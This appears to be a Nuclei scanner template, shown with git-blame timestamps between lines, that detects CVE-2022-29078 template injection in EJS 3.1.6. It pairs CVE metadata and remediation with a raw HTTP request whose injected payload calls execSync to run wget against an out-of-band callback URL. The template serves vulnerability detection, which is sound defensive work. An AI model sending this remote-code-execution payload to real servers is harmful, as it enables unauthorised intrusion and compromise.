2022-07-19 11:08:32 +00:00
id : CVE-2022-29078
info :
2022-10-10 19:22:59 +00:00
name : Node.js Embedded JavaScript 3.1.6 - Template Injection
2022-07-19 11:08:32 +00:00
author : For3stCo1d
severity : critical
description : |
2022-10-10 19:22:59 +00:00
Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
2022-07-19 11:08:32 +00:00
reference :
- https://eslam.io/posts/ejs-server-side-template-injection-rce/
2022-09-19 07:37:33 +00:00
- https://github.com/miko550/CVE-2022-29078
2022-07-19 11:08:32 +00:00
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
2023-07-11 19:49:27 +00:00
- https://github.com/mde/ejs/releases
2022-07-19 11:08:32 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-29078
2023-08-31 11:46:18 +00:00
cwe-id : CWE-94
2024-05-31 19:23:20 +00:00
epss-score : 0.28707
epss-percentile : 0.96859
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : ejs
product : ejs
2023-09-06 11:59:08 +00:00
framework : node.js
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive,node.js
2022-07-19 11:08:32 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-16 13:38:28 +00:00
- raw :
- |
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
Host : {{Hostname}}
2022-07-19 11:08:32 +00:00
2022-09-19 07:37:33 +00:00
matchers-condition : and
2022-07-19 11:08:32 +00:00
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2022-07-19 11:08:32 +00:00
words :
2023-07-11 19:49:27 +00:00
- http
2022-09-19 07:37:33 +00:00
- type : word
part : body
words :
2023-07-11 19:49:27 +00:00
- You are viewing page number
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022100afb6acf46e188f010c99e8bddfbd508e62a1c34e3de7cc56d83a8538a16929f602200b75c244bf4ca105f25c7fdd2fc3ac5482cd4b7fdd21ca483cb95ffe11520409:922c64590222798bb761d5b6d8e72950